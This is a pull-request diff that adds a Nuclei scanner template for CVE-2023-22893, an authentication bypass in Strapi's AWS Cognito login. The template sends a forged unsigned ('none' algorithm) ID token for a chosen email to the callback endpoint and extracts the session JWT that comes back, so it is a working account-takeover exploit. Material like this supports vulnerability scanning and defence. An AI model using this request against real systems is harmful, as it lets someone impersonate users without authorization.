Merge pull request #10628 from projectdiscovery/CVE-2023-22893

Create CVE-2023-22893.yaml

http/cves/2023/CVE-2023-22893.yaml

@@ -0,0 +1,63 @@
+id: CVE-2023-22893
+
+info:
+  name: Strapi Versions <=4.5.6 - Authentication Bypass
+  author: iamnoooob,rootxharsh,pdresearch
+  severity: high
+  description: |
+    Strapi through 4.5.5 does not verify the access or ID tokens issued during the OAuth flow when the AWS Cognito login provider is used for authentication. A remote attacker could forge an ID token that is signed using the 'None' type algorithm to bypass authentication and impersonate any user that use AWS Cognito for authentication.
+  reference:
+    - https://www.ghostccamm.com/blog/multi_strapi_vulns
+    - https://github.com/strapi/strapi/releases
+    - https://github.com/ARPSyndicate/cvemon
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-22893
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.5
+    cve-id: CVE-2023-22893
+    cwe-id: CWE-287
+    epss-score: 0.00337
+    epss-percentile: 0.71798
+    cpe: cpe:2.3:a:strapi:strapi:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: strapi
+    product: strapi
+    fofa-query: app="strapi-Headless-CMS"
+  tags: cve,cve2023,strapi,authenticated,aws,cognito
+
+variables:
+  email: "{{email}}"
+  payload: '{"cognito:username":"{{to_lower(rand_text_alpha(10))}}","email":"{{email}}"}'
+
+http:
+  - raw:
+      - |
+        GET /api/auth/cognito/callback?access_token={{to_lower(rand_text_alpha(8))}}&id_token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.{{base64(payload)}}. HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '"provider":'
+          - '"confirmed":'
+        condition: and
+
+      - type: word
+        part: content_type
+        words:
+          - application/json
+
+      - type: status
+        status:
+          - 200
+
+    extractors:
+      - type: json
+        part: body
+        name: token
+        json:
+          - ".jwt"